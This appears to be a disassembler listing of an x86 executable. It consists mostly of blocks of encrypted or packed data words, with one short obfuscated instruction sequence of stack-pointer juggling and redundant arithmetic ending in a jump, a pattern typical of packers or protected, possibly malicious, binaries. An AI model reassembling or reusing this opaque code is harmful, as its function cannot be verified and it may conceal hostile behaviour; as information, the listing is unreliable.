		dd 2E5595FFh, 6A064Dh, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 1A0424h, 57470000h, 0CCC7AFC3h, 36F97410h, 6AD08Bh
		dd 51195FFh, 0C08B064Dh, 0D95F0AEBh, 0F17428EBh, 7CB1064Bh
		dd 8DE04EBh, 9DE91EB1h,	16000005h, 0BE9EAA50h, 61414DF3h
		dd 5E5F197h, 0A6869238h, 292B37DDh, 6309D287h, 0AB07757h
		dd 0AC521EFEh, 52F8C0A0h, 0B3E2AF46h, 0D4FB96CDh, 86195964h
		dd 3CA5D28h, 0B627F45Dh, 0AE410967h, 7D43DE3h, 2E3AE0A9h
		dd 2815864Eh, 4E6437F8h, 0C46A348Ah, 68308E5Bh,	0CC97F5C2h
		dd 34FB5926h, 9763C18Eh, 40AE24F1h, 0F260CE04h,	34C78F72h
		dd 0B790C46Ah, 0FF91CC74h, 4E4F059h, 0A6869238h, 96734DAh
		dd 0AECF9C42h, 1A789ACAh, 49EFBA4Dh, 53A20B7Ch,	778329F5h
		dd 0AB5ECF97h, 68ECD4DDh, 0DD0CD942h, 0DB4EDB96h, 1FC684Eh
		dd 0B0160761h, 5796h, 0AD75D400h, 5B86C207h, 70F7C494h
		dd 0E413E837h, 0DB4F099Eh, 9F47056h, 0B0165579h, 19Eh
		dd 0AA75DC00h, 0ED93704h, 703D9B68h, 77016DDh, 0EE56C43Ah
		dd 7E8A30FBh, 4D3362AFh, 7BDB4F20h, 0EFEAA899h,	0C730FB03h
		dd 0AC521A78h, 95EB1A67h, 9CDB4E9Eh, 86D0E433h,	3906AC75h
		dd 256A10DBh, 18A16BE9h, 0A5931F1h, 680ED735h, 0CA703D9Bh
		dd 4AFAE6FDh, 5C29CF97h, 349A82EBh, 0B480DE30h,	16E3410Eh
		dd 0C932A370h, 0AD531C7Ah, 53F9C1A1h, 3EE4B00Eh, 0DCB10071h
		dd 410EB47Eh, 0A7741AE3h, 0DDA8049h, 0AAEF91C0h, 0D942DB4Eh
		dd 1BD193F9h, 0D80341AFh, 0B016365Eh, 885Dh, 0AC759B00h
		dd 11DB3906h, 82EA266Bh, 548FC17Fh, 259B70BFh, 915A8DB7h
		dd 0C28F35FEh, 0DDCE851h, 6FA684C0h, 4378EB99h,	4EF3641Ch
		dd 0B14A64DBh, 62C7C8F5h, 81DF2E97h, 0E74512B8h, 33A7741Ah
		dd 16BC86E4h, 35780D49h, 1C58CE07h, 0ED935DB3h,	0F460AF20h
		dd 15ED8570h, 570AB016h, 48000000h, 3906AC75h, 9C690FDBh
		dd 3D0763Eh, 7E49DCA5h,	0BAA26FD8h, 22ED1054h, 0D53EAF7Ch
		dd 0D19BF9C6h, 0F470DC2Bh, 96A24811h, 4AA754Ch,	206B0837h
		dd 632BDB4Fh, 0CB92F0BDh, 5C02CF25h, 0F2B6538Fh, 9F924FC9h
		dd 0E5EB59BFh, 924DF7DDh, 0B016B6F0h, 127h, 0AB756500h
		dd 12DA3805h, 9A7E9F6Ch, 0C76D37AAh, 0BBB0ECBBh, 57C08890h
		dd 71643F8Eh, 0F087B6FBh, 0B7D1380Dh, 1FEC9259h, 463A69AEh
		dd 0EBD501C5h, 0F7603382h, 5E04CC2Ah, 0E3478352h, 15455C43h
		dd 30F856A5h, 0F48EBD8Ah, 0B2D501ADh, 187643E9h, 0C6DDAA50h
		dd 55646ADAh, 4008FB69h, 0E6AE8E9Ah, 4D157340h,	0B27CDAA7h
		dd 15E13F0Ch, 7744A26Fh, 259304D1h, 3C6B8DB7h, 0D501AD44h
		dd 331B84EDh, 0AC7497CDh, 4C55023Bh, 1EF631Dh, 3165CED5h
		dd 295DDECDh, 87F15932h, 0F93EA754h, 612ED49Bh,	0C6933903h
		dd 899DEC55h, 5B7881A1h, 0C71551B6h, 18E85C19h,	4C8FF746h
		dd 0CD000001h, 9C0D4A86h, 6955F416h, 0BD2EFBA1h, 0AB2A0554h
		dd 3E4D7CC1h, 99D13811h, 0CE631D4Ch, 65CED501h,	0DDA4316h
		dd 3665E7AFh, 0D501CE4Ah, 60287EE7h, 654551BAh,	0CC2AF79Dh
		dd 37A87104h, 25A873D7h, 53BC2533h, 9C63C10Eh, 0C5B1CFF6h
		dd 1780D501h, 9D03F3C8h, 0D67C44A7h, 6B154491h,	0C6D501C5h
		dd 9801A770h, 354D3549h, 0FDB65B19h, 6532D89Fh,	4F3DA5F4h
		dd 7B000000h, 0D29DE2F8h, 4F7EC32Ch, 0DB4F2201h, 1DB078D6h
		dd 7441AA50h, 9CE1B403h, 9401EF60h, 83AAB844h, 0DB4E2AFDh
		dd 6F15DE34h, 5FC831A2h, 2B1D6392h, 99FFDB4Eh, 571FBBABh
		dd 9D67C512h, 6AB92AF7h, 4E2C153Bh, 0C7D33CDBh,	8627h
		dd 0DDF8DD00h, 1FEC4A8Fh, 0AEDD2A79h, 0D1385059h, 54B27FE8h
		dd 0FADAE68Ch, 0FF81B032h, 32D501F2h, 649360C9h, 0D501F411h
		dd 9264E0CCh, 0F16A1645h, 71C7D501h, 4796FFA5h,	367B21E9h
		dd 0F1C6BAE9h, 26BD501h, 0F1F28EBDh, 0D63FD501h, 0BF167387h
		dd 0CE1B68ADh, 1F1E19Fh, 0D9A7D6D5h, 58D501F1h,	6CBB24EFh
		dd 0D67CCF3Dh, 4C1982CAh, 0B38026EEh, 0D6B6AE92h, 0F9286DFFh
		dd 0C482F213h, 3290D53Eh, 81F2BF65h, 86D41E32h,	0EAB75D28h
		dd 864F2A79h, 9A72A1E6h, 3DD123ACh, 0A547C901h,	0FBC20A76h
		dd 8ABE27D4h, 8DDCCA12h, 0AE0C51BAh, 18ED3CE2h,	534C8FCBh
		dd 2CBF22D7h, 0FB3183FDh, 0DC45AED4h, 0C1672F8Dh, 0E9AAE6B5h
		dd 7FF9AEDh, 8D21F220h,	7AE3B20Bh, 5F05CD2Bh, 0EF094592h
		dd 0B607403h, 2683FD23h, 0A30C7F02h, 0B08A2554h, 76E41BFFh
		dd 0AD531BCEh, 53F9C1A1h, 0B55B2886h, 18BE8AE8h, 7E24ED4Bh
		dd 97CD3BB1h, 36834861h, 197E7907h, 4FB8BCh, 652DD094h
		dd 97640AD2h, 0F9C66C39h, 0AAB61F88h, 8F5C02CAh, 2071h
		dd 2655A200h, 0BC197E5Ah, 10DD834Ch, 22A0D49Fh,	5F763D48h
		dd 18E02F98h, 0B65C2886h, 0AA2978E9h, 9AF75E2h,	7016DE3Ch
		dd 0D37945A3h, 3BE1A806h, 0A147106Eh, 7AD76D4h,	690FDC3Ah
		dd 0CE743E9Ch, 32D8A301h, 8956E865h, 4C681E6h, 83000000h
		dd 348704EEh, 1C895C24h, 45DF6824h, 0C890000h, 0E0895024h
		dd 405h, 42D00h, 4870000h, 14895C24h, 0A1B85024h, 8906538Ah
		dd 24048BC1h, 4C481h, 8B540000h, 0C4812414h, 4,	1D4768h
		dd 240C8900h, 8B08428Fh, 89572414h, 4C781E7h, 81000000h
		dd 4C7h, 243C8700h, 240C8B5Ch, 81E68956h, 4C6h,	4C68300h
		dd 5C243487h, 0F9EF8CE9h, 0EE036FFh, 9AE8273Dh,	538FB4B8h
		dd 0FFC50306h, 590E69E0h, 0AC0140Fh, 268F7A60h,	0FCD8BF0Eh
		dd 8C34222Ah, 66B5EA4Ch, 21D56246h, 0E5918E22h,	0F4BE9D6Dh
		dd 0EE813h, 80510000h, 3FAD42BCh, 540B26E1h, 8877C407h
		dd 9A30FDBEh, 0B70F5B62h, 1CC381F2h, 0E900005Ah, 8, 0D84E5C19h
		dd 7E9FC165h, 68h, 22E28000h, 11E959h, 0CC1A0000h, 0FA74375h
		dd 0C85916Dh, 9DFE7F95h, 8B53C9BCh, 81F50B04h, 0D4BC6BE8h
		dd 0C081F850h, 796FA73Dh, 5830Fh, 81660000h, 8136C7C2h
		dd 5072A2C0h, 0FE951h, 5170000h, 3885C501h, 10498AE4h
		dd 0AE72C8ABh, 0B0489F9h, 0CD6DEE81h, 0E9833DB4h, 14E85102h
		dd 13000000h, 451F85A2h, 0BDD9F921h, 7DAA246Ah,	0DFD97B44h
		dd 66B1E9FFh, 5FBB7DBAh, 0F49495Fh, 0F981F3B7h,	0FFFFA6C4h
		dd 1B850Fh, 0BF660000h,	1FE9E55Fh, 1E000000h, 0E176D44Ah
		dd 97B143BFh, 0B296F2A3h, 3959DFA3h, 6CE9F91Fh,	0A0FFFFFFh
		dd 0E211C202h, 8D8D17B2h, 6539225h, 5998D89h, 0BF0F064Dh
		dd 1D85C7D0h, 0BC064D05h, 0E9000064h, 9, 6CC4EE3Eh, 0BDFBA221h
		dd 0E985C7C4h, 64D02h, 6A000000h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 1C042444h, 40000000h, 9A2EC350h
		dd 44357E45h, 0E94008F3h, 13h, 0C05924EFh, 8C06DCDFh, 1C09A99Eh
		dd 11E6A0B6h, 8B75461Eh, 4D0D3585h, 19B5FF06h, 6A064D2Dh
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 1C042444h
		dd 46000000h, 5704C356h, 117D3997h, 8BBCCE8Bh, 4D185585h
		dd 5595FF06h, 6A064D2Eh, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 19042444h, 41000000h, 7070C351h, 4FE7344Fh
		dd 95FF006Ah, 64D0511h,	79EBC08Bh, 0CCB58ADh, 5E78AEE3h
		dd 0B0162E06h, 7D8DAF1Ch, 19F0E81Dh, 9DBA65E3h,	53C4F3C0h
		dd 0E35C9C8Eh, 0E8754B7Eh, 1F782518h, 2B4B041Eh, 6883D037h
		dd 694B317h, 0B07C96F4h, 69740082h, 6C787C9Eh, 0F9A1E375h
		dd 0F2B4359h, 3694A321h, 2B2BBFB9h, 792C8457h, 0A8F978Dh
		dd 193DA073h, 0FCB51C76h, 371DF288h, 0AA2C3F02h, 0AD91C555h
		dd 0A0AD3D0Ch, 1C437CB7h, 5DCC62B0h, 0DE85Ah, 3950000h
		dd 0B445D8AEh, 0D4024A34h, 0E99ADF8Eh, 5, 0B06591CDh, 85335FB5h
		dd 64D0B31h, 6E5CC781h,	85290000h, 64D2C39h, 0BAh, 5D8D8B00h
		dd 8B064D10h, 0D0801734h, 12EE81D7h, 9734758h, 4D180D95h
		dd 94F68106h, 800158BBh, 0EE81BEC0h, 36EFD2A7h,	56B9D380h
		dd 48F09B3h, 89DE8B17h,	4D14ED8Dh, 4EA8306h, 58A0Fh, 5CB80000h
		dd 817A1039h, 0FF9260FAh, 18850FFFh, 8A000000h,	38E9E5h
		dd 5B90000h, 42612573h,	5E48E020h, 0C82EE016h, 0E8644B7Fh
		dd 0Ch,	0E4506B3Fh, 0E0EB5122h,	0CEFB25ADh, 58C5EC80h
		dd 0FFFF82E9h, 8E07AEFFh, 0D52F4BE8h, 0E2CA339h, 7E8A091h
		dd 0E4000000h, 6D5272C4h, 9D0937B6h, 64D14E9h, 9DB52959h
		dd 81064D2Bh, 5E38C1h, 4DBEF500h, 815A122Ch, 1214DEEEh
		dd 59858B5Ah, 0FF064D04h, 9953131h, 5B064D31h, 81D0B70Fh
		dd 0F6A5B0F3h, 0C7BF0F4Bh, 0E3AAC381h, 0C18B5CFDh, 6F1F381h
		dd 0B5091109h, 64D2765h, 0B70F1989h, 0F7E981C7h, 0F4EA05Ch
		dd 0C181C7B7h, 4EA05CF3h, 3279BD8Bh, 0EE81064Dh, 1, 0FFB1850Fh
		dd 8166FFFFh, 0E82BB3CAh, 12h, 7F85C2AEh, 67CA456Eh, 62EC2544h
		dd 4756C630h, 9D893A8Fh, 64D14C5h, 41858958h, 81064D16h
		dd 5F56C0h, 0BAFC00h, 0F000000h, 82h, 234FF00h,	18D0F5Bh
		dd 0F5000000h, 0B098EB81h, 0C38166B9h, 7B2DCBCAh, 8BDCF381h
		dd 85897F09h, 64D246Dh,	8B101C89h, 4D0F05B5h, 2D8D3106h
		dd 81064D33h, 8EC204EAh, 0C88B6610h, 0C200C281h, 0C181108Eh
		dd 20B970E0h, 0A130FA81h, 850FFFFFh, 0FFFFFFADh, 0BD31D181h
		dd 75821EF2h, 690889A0h, 0A6DC7814h, 68491F8Dh,	0A12E8636h
		dd 25908635h, 25480AD9h, 80990530h, 2514CB02h, 2576023Fh
		dd 98078630h, 230F8DC9h, 57A58930h, 0E3908630h,	686E63B5h
		dd 0BC4CC836h, 0A4ABEFE7h, 25D0A204h, 907B971Bh, 230FB495h
		dd 50F603BDh, 0F56F8060h, 0A08E76BBh, 2369A0D5h, 0B5BFEE7Eh
		dd 11884E1Fh, 48C36B14h, 0DCF77950h, 0A827CB3Bh, 75E551B5h
		dd 0AE987936h, 25343FC8h, 2DFB8630h, 83098630h,	258A033Fh
		dd 2E0B8630h, 0D5A489F9h, 0CC6F79CFh, 2548863Dh, 68C11BBDh
		dd 20AA807Dh, 0DA098630h, 59390BD3h, 0A844D5A4h, 76B4BFBDh
		dd 823E36h, 0EA630000h,	75826FF1h, 690889A0h, 0A6DC7814h
		dd 68491F8Dh, 0A12E8636h, 25908635h, 25480AD9h,	83990530h
		dd 0A4F305E9h, 22B9h, 0AE800h, 4BCB0000h, 489C3A60h, 13F98B7Ah
		dd 0DE9h, 566DF200h, 34F951Ch, 762ABC28h, 0E95BEF6Fh, 12h
		dd 0E161465h, 203A4CDBh, 0B5FAA5A8h, 898F6C6Ah,	0C38101C4h
		dd 6B37h, 72D98166h, 1A9868E2h,	8D890000h, 64D1FE1h, 8BF98B5Ah
		dd 658D0B03h, 81064D24h, 49C4AF0h, 0FBC08115h, 0E833A32Ch
		dd 6, 0A90D3AD3h, 9D893C9Eh, 64D1C59h, 45C0815Fh, 8934F10Fh
		dd 4D0C2585h, 8B665006h, 83038FC8h, 816603EBh, 4BF296D7h
		dd 225D8589h, 0EA81064Dh, 1, 1D850Fh, 0B5290000h, 64D0415h
		dd 30E9h, 0A36D0100h, 312039C0h, 95C1BB05h, 0D11834D2h
		dd 0E9866C13h, 0Bh, 0D3A2C92Dh,	0F0F3ACBDh, 0E9E57ABAh
		dd 0FFFFFF7Bh, 5F8B90C0h, 124CD3E3h, 0B204EB2Fh, 0E977090Ah
		dd 7ADh, 4753F9BFh, 0EAF69C67h,	8E9A400Ah, 2F3BE1AEh, 0D4E0864Fh
		dd 0B079DED2h, 571EFE0Ah, 0F9C5A5B1h, 9F674753h, 8956EDF9h
		dd 0FB8B265Ah, 3B000BD4h, 8AC1BFEEh, 770D4FBh, 0CFA4F0B8h
		dd 0C7DB4F20h, 0F04D59FFh, 134287E5h, 0D1385260h, 0D71358C1h
		dd 0A77FC6E4h, 2858871Eh, 9D5018Fh, 13E837A0h, 3A46ECB5h
		dd 1FEC925Ah, 0E53F9C1h, 8EEE92C1h, 0DA43D501h,	0C413B984h
		dd 0AB99FFEFh, 0BECA7038h, 5BD04CD6h, 602886B6h, 2D7CEDBAh
		dd 3AC5h, 0AC750300h, 12DB3906h, 49AF9F6Ch, 791FE81Bh
		dd 3EFD856Dh, 201AB016h, 58000000h, 3906AC75h, 4F20690Ah
		dd 0AC9884DBh, 85CA7039h, 0B9F0CA49h, 67B66D94h, 24B353h
		dd 75690000h, 0AB5119ACh, 20493766h, 7FE8DB4Fh,	681A4916h
		dd 85DB4F20h, 6F38AB99h, 5C2684C9h, 2978E9B6h, 0DDF8CB15h
		dd 0A01B4A8Fh, 91D13842h, 0FE631D4Ch, 65CED501h, 7D12FFCh
		dd 39865561h, 1FE760Ah,	4776BBD5h, 0D501FE39h, 0D7268FF8h
		dd 3C09AF79h, 0B3F87461h, 1AE78D55h, 0DE0D5AA9h, 0CAEB28A5h
		dd 0B2EE339Ch, 0DEA6AC77h, 0C6FA6B38h, 6DBC1772h, 0D1937798h
		dd 0B2BE642Eh, 1D6208D2h, 9C4EE7E1h, 2C7BC093h,	0B7CE0A57h
		dd 0A8D2C850h, 0F69AC918h, 46CEB441h, 0B78164E0h, 0EB1C1646h
		dd 3BAC791Fh, 258A3A07h, 36408D03h, 228BF460h, 2886CC16h
		dd 5D03CB5Eh, 67B61F90h, 64244C8Ch, 760A3986h, 0BBDB4F20h
		dd 0D2D85187h, 0C751399h, 3D9BE8BDh, 9203D076h,	0AD757B43h
		dd 41AA501Ah, 6D75BF81h, 0B31636C5h, 35F2h, 0E0F83000h
		dd 3986D090h, 20C3BDECh, 186EDB4Fh, 6DDEAB51h, 0FA86B504h
		dd 0BDDB4F20h, 203F4170h, 89F2DB4Fh, 3EFE673Ah,	0AB75BE86h
		dd 0BC844505h, 47B5h, 0E0F86B00h, 0A40F4B90h, 778F9FF0h
		dd 4B8AC3B0h, 0B9A34817h, 0E7F4CF2h, 868E56A5h,	4F212957h
		dd 1BDBCCDBh, 0DF612886h, 4F20D0B0h, 8FF861DBh,	3A4675C2h
		dd 0F7DB4F20h, 89D6258Eh, 5AB75C1h, 5C288645h, 501867B6h
		dd 0BB612886h, 0D02E7DEEh, 27ED9708h, 1742F376h, 8D2D69AEh
		dd 3FE5B094h, 0D51D190Bh, 7082B186h, 0FEDB7030h, 6931D490h
		dd 8AE8B7C3h, 0FF4C19BFh, 4A2CB0D0h, 0AF1881DBh, 0B7390260h
		dd 1BE88E59h, 2CFD83AAh, 0DE34DB4Ah, 30A16E14h,	33915EC7h
		dd 670DD76Ah, 0F3C0299Ah, 44A79D03h, 0E1C9D57Bh, 0B012B641h
		dd 0C0663391h, 0E3D82F3h, 0DB4A3872h, 9F0756BFh, 33h, 7AD75DDh
		dd 0F6765F3Ah, 443775B1h, 13CC2A0Ch, 62D3A046h,	2E5DAAF9h
		dd 0D1375D95h, 0CE3978ACh, 0AA771DE4h, 0E9420539h, 60D6A30Ch
		dd 0C78F72F2h, 75CB1521h
		dd 5F3A07ADh, 82B1F676h, 0D1384DEDh, 0F0096EAAh, 0CE665C5Ah
		dd 0FAA1699Ah, 0E8374613h, 56A0AC15h, 4B90E0F8h, 2D7C22EDh
		dd 7536FE65h, 0BF4707ADh, 692BB4F0h, 0C13980F8h, 10814EF4h
		dd 6D9058A7h, 0B31636C5h, 41E7AF0Dh, 3C8AF2h, 0F8C80000h
		dd 86D090E0h, 0C3BDEC39h, 6EDB4F20h, 3CF7E33Ah,	0DC450EA5h
		dd 494116A8h, 206F849Fh, 4F1E8FF1h, 7939A2DBh, 0AB75BE86h
		dd 0BC844505h, 0B55B2886h, 9FEE945Fh, 1F81h, 0E0F83700h
		dd 5786D090h, 0DB4F2129h, 0BE7528Eh, 75B2D578h,	66261726h
		dd 0AB75BE86h, 0BC844505h, 3A07AD75h, 70A2E70Bh, 32D89FDBh
		dd 0B93B0765h, 4A9EF68Ah, 69D23BDBh, 164EB49Ch,	9EABD504h
		dd 1D86DB4Ah, 6CD846B4h, 5FC94E8Ah, 0BFD54B5Ah,	0B74A1270h
		dd 0D3DF48EEh, 0B7842AF3h, 1DEA9059h, 804DF3BFh, 5CB25822h
		dd 3020ED93h, 6C549ACAh, 0E2AB5E06h, 3E48303Ch,	0DDB01291h
		dd 2Dh,	7AD751Bh, 9765F3Ah, 0EB30993Fh,	21116F9Eh, 0B720DB4Fh
		dd 1BEC1B68h, 26D13850h, 0C7AF0BDh, 37DDA558h, 33FE5C2Bh
		dd 4FC08Dh, 5F288638h, 2C7BECB9h, 936006CEh, 44731DB8h
		dd 0DB4F203Ch, 0DE238CF5h, 384184AFh, 28349DD1h, 90E0F8DEh
		dd 164A86D0h, 8F2D0D73h, 37DDA7FDh, 0D5AAF96Ah,	7AD750Dh
		dd 2E8086C2h, 3C7016DDh, 88BCE18Eh, 0A4D2424Dh,	6F378632h
		dd 0C56D75BFh, 0F2B31636h, 2Ah,	90E0F830h, 295786D0h, 8DB4F21h
		dd 0BE86DF9Fh, 77C24A86h, 7E18CCC1h, 6107D12Fh,	0D93784A1h
		dd 531B6A10h, 28B5h, 0E0F86B00h, 4A86D090h, 0BB33112Ch
		dd 0B3004FDFh, 4E50FC84h, 9E7FBBDBh, 0C4698124h, 524352A1h
		dd 75BE8692h, 844505ABh, 5B2886BCh, 2877E8B5h, 8F5C02CAh
		dd 70A39260h, 852BF4DBh, 0ED935AB8h, 54FAC220h,	985E066Ch
		dd 5F8EDB2Ah, 0DB4AA021h, 0EC58A710h, 17BD8578h, 0BD632B0Bh
		dd 0D0C015F0h, 4A9FDFA1h, 80E952DBh, 6D13DD3Bh,	0D27842A0h
		dd 0DC2B9405h, 0BCEB608Fh, 8EECD133h, 0E0511EC4h, 4955BE91h
		dd 90E0F8FFh, 7536FED0h, 64C207ADh, 0E0A8F79Dh,	0C56D75BFh
		dd 0F2B31636h, 33h, 0A3E0F830h,	0F66734DAh, 5786CD8Dh
		dd 0DB4F2129h, 86DF9F08h, 0C3BDEC39h, 6EDB4F20h, 75EEB605h
		dd 0A74D18ABh, 28867E3Eh, 1867B65Ch, 25B550h, 0F86B0000h
		dd 0ED4B90E0h, 69318026h, 21295786h, 0DBCCDB4Fh, 75BE861Bh
		dd 864505ABh, 66B55B28h, 0A26CCA17h, 86E5ADFCh,	2A50394Ah
		dd 93E22168h, 0FAC76D35h, 701E27CBh, 6BD947DBh,	0FE0AB078h
		dd 6006D12Fh, 69EBB311h, 1A93ED1Ch, 359EDB4Ah, 4A1A720Eh
		dd 0ED56BFDBh, 0DC904520h, 439F6897h, 0EC28D133h, 0C3C49F7Fh
		dd 10EAC033h, 5CF5EC20h, 6AD3A6F5h, 7538F5Eh, 93187Ch
		dd 86642C7Bh, 2BB1344Ah, 662E270Fh, 350157C0h, 251C28Fh
		dd 1C1B127h, 0AD7536FEh, 75BF4707h, 1636C56Dh, 54F2B3h
		dd 0F8300000h, 86D090E0h, 0EBB85E28h, 0AFDE2B7Ah, 0DB4F20D1h
		dd 16BC88E6h, 0CB8BF4C7h, 4A86BE86h, 98805BFFh,	0A90756AAh
		dd 96F439DFh, 0E75825CBh, 2886D098h, 1D6CBB61h,	2C5483D0h
		dd 5DB4F21h, 20EF91C0h,	0D942DB4Fh, 0B5592170h,	1Bh, 19BF88E6h
		dd 0E0F802CAh, 5786D090h, 0DB4F2129h, 861BDBCCh, 5AB75BEh
		dd 75BC8445h, 5F3A07ADh, 75B1F676h, 7725B95Eh, 0DB287712h
		dd 37CF8BACh, 0E82D96D1h, 8C146C9Bh, 0B41DD501h, 0E1F45165h
		dd 1C17468Bh, 5CAD623h,	0A971CF9Ch, 4F17F703h, 0C5ADDCA9h
		dd 0C13D8989h, 23814EF4h, 0F6E6B359h, 0B01ED490h, 17DF0242h
		dd 3CE2C71h, 5F2E5281h,	9A035D53h, 0EECEE231h, 55B38026h
		dd 0F415E288h, 0E9B15410h, 0D3A0FE43h, 0A0EF602Dh, 3EE4AC8Ch
		dd 16E82471h, 7754494Ch, 0CD734096h, 22408F00h,	0Ch, 5F921753h
		dd 0E5BC65ADh, 8C54CE96h, 3C09AF75h, 0A37016DEh, 6D37945h
		dd 6E3BE1A8h, 0D4A14710h, 3A07AD76h, 9C690FDCh,	1CE743Eh
		dd 6532D8A3h, 5A5452E8h, 4C281h, 0EA830000h, 24148704h
		dd 14D7685Ch, 0C890000h
		db 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], edx
		push	653964Ah
		mov	ecx, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	edx
		sub	esp, 4
		mov	[esp], ecx
		pop	dword ptr [edx+8]
		mov	edx, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	ecx, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		jmp	loc_546EAD
; ---------------------------------------------------------------------------
		dd 82DCBB2Ah, 49D6E374h, 9D73B814h, 0C5030653h,	0EBDDE0FFh
		dd 0BC0C3BC8h, 904D607Eh, 74746B96h, 918423BFh,	0AEEB2E3Dh
		dd 6F75343Dh, 0F08873E8h, 0A4750E56h, 6F171A18h, 28360121h
		dd 312A6291h, 0FF882827h, 71A0289Eh, 0E1F85288h, 23027F22h
		dd 8D8D0927h, 6539EF4h,	0BFD9D89h, 8D89064Dh, 64D0599h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 14h, 7FC35343h
		dd 11F1B589h, 85C7064Dh, 64D051Dh, 6ED8h, 0F2CB8166h, 0E985C7BCh
		dd 64D02h, 6A000000h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 18042444h, 46000000h, 13C8C356h, 0FF2F45D5h,	4D2F8DB5h
		dd 56006A06h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1804h
		dd 0C3564600h, 0DA2EC2A1h, 5595FF5Ch, 0E9064D2Eh, 0Fh
		dd 0EDCE77Bh, 0ABDCF2C1h, 0CFA0D524h, 6A640012h, 1195FF00h
		dd 8B064D05h, 875BEBC0h, 0BE883819h, 0C3A988F9h, 0ED427C28h
		dd 35B7EF97h, 0F05B2953h, 441EDF32h, 9F34A7E2h,	0E76BC44Bh
		dd 258030CCh, 32771E50h, 5760DEACh, 49584BE3h, 0D028A7D6h
		dd 9D4704CAh, 0FE03E50Bh, 96070639h, 3EC9B1BDh,	0D75FDF79h
		dd 76664D96h, 0A279CB13h, 0F55E9923h, 0D7B95Eh,	0EE82FB3h
		dd 0E4000000h, 4AEECC25h, 3AFBF184h, 81B21CE5h,	0BD015386h
		dd 64D0B7Dh, 9D015A58h,	64D1391h, 611DC281h, 80560000h
		dd 2B5E28C5h, 59B529DBh, 0FF064D31h, 8E91334h, 0EC000000h
		dd 3C21BE00h, 5F9908A2h, 45D88166h, 5F781CAh, 892226EBh
		dd 4D271DBDh, 0B1C78106h, 0F1B8699h, 68Ah, 31853300h, 81064D25h
		dd 0C78D21EFh, 298D3177h, 57064D2Eh, 0E850Fh, 9E90000h
		dd 0B000000h, 413BB4E2h, 3A76CF44h, 0F1A048Fh, 684h, 99B52B00h
		dd 29064D27h, 4D25C985h, 3EB8306h, 4BAFC180h, 0AE9h, 8C739600h
		dd 0CEBE5755h, 8155CF79h, 0FF9FA0FBh, 74850FFFh, 66FFFFFFh
		dd 9BA7D181h, 0A0718D8Dh, 89FC0653h, 4D05998Dh,	0D08B6606h
		dd 51D85C7h, 5F30064Dh,	0C7F50000h, 4D02E985h, 6, 68E0F00h
		dd 89000000h, 4D14C5BDh, 55B5FF06h, 0F064D07h, 68Fh, 11BD3100h
		dd 0FC064D33h, 2E5595FFh, 8531064Dh, 64D1025h, 95FF006Ah
		dd 64D0511h, 5AEBC08Bh,	0D28DA20Bh, 0ED49311Ch,	2018FD0Ch
		dd 0B6D40AA6h, 324B2D08h, 65116F18h, 70088330h,	44E0CCB7h
		dd 7890773Ch, 153688A0h, 0C546EE50h, 5151E804h,	7FFDDF8h
		dd 9C8324C9h, 52B9F323h, 0A5464EA2h, 0BC1B3CC8h, 690AADAFh
		dd 0E83361C4h, 8CF4C4B6h, 1892EEE4h, 2297FACFh,	9E85512h
		dd 0AE000000h, 72BC90BBh, 30A108DAh, 0AF98D8Bh,	0E85A064Dh
		dd 7, 77F694E3h, 8B17049Ah, 4D2F7D85h, 0C2815F06h, 5F5Eh
		dd 68F98B66h, 0
		dd 0FA26C881h, 8B5E569Ch, 5E8321Ch, 0FF000000h,	6FDFC9A0h
		dd 6820Fh, 858B0000h, 64D2D55h,	0E9C38159h, 666C4792h
		dd 812E5FB8h, 0A6FEAAEBh, 898D8B77h, 81064D12h,	0A87780C3h
		dd 31BD8B48h, 89064D29h, 0BD8B321Ch, 64D295Dh, 0EE8109B5h
		dd 73F9F89Dh, 0EE9h, 6B5A1400h,	0F77A1C2Dh, 39F5CB3Fh
		dd 8136F203h, 0F9F899C6h, 0C3BF0F73h, 0A178FE81h, 850FFFFFh
		dd 13h,	3B5BD8Bh, 22E9064Dh, 45000000h,	0B0A4D7FDh, 0FF1237Ah
		dd 70E9C3BFh, 4EFFFFFFh, 577D4FAFh, 446FF16h, 900E1D33h
		dd 2668DCE9h, 7904EB9Ch, 0E94BE55Eh, 51Eh, 0B7C3692Fh
		dd 5A660CD7h, 0FE0AB07Ah, 9FAB511Eh, 4450F6BFh,	20E9AE42h
		dd 0C78E6E7Ah, 69351521h, 0FD7B7C3h, 0F9C65D69h, 0FB7FB6CAh
		dd 30707BD4h, 3A07AD75h, 616D13DCh, 4613B981h, 0AD7A20E8h
		dd 11DE844Fh, 0D4372D9Bh, 7A5A660Ch, 1CFC08AEh,	7FDDAA50h
		dd 244512B8h, 94F20440h, 0E45522C8h, 0D86B3795h, 215F8E10h
		dd 10DB4F21h, 13713EA7h, 67D8A54Bh, 0A98995FEh,	3F6E3BE1h
		dd 0DB4F2034h, 5F9ACAB0h, 0B01642C7h, 7AF4h, 0AD753200h
		dd 770B3A07h, 7DDB4F20h, 1032AD97h, 0E2B01642h,	2D1A6695h
		dd 0AE17DB4Fh, 0FF75Fh,	52B00000h, 0D612DF85h, 0B1BE4CA5h
		dd 0A5F45DE7h, 4AA75DDh, 680ED937h, 30124E9Bh, 9CFE2FBBh
		dd 42A5DD41h, 0A0090B45h, 8026F351h, 0F78A55B3h, 48B9862Ch
		dd 62D612DFh, 0E57E0116h, 0FA8D5AB0h, 4EBF8C32h, 0C22818E5h
		dd 70DE4C82h, 0A04611F4h, 9A67C594h, 7F47A5F4h,	7583CDD9h
		dd 85C106ACh, 30F62A89h, 0B68BDA0Dh, 0A2E78D58h, 84D37944h
		dd 0EB59BFAFh, 7D892FF8h, 0DF8550AEh, 0D76A3290h, 2B9C690Fh
		dd 0CD97F5C2h, 78E65A27h, 3B6111CCh, 8796B016h,	0D4000000h
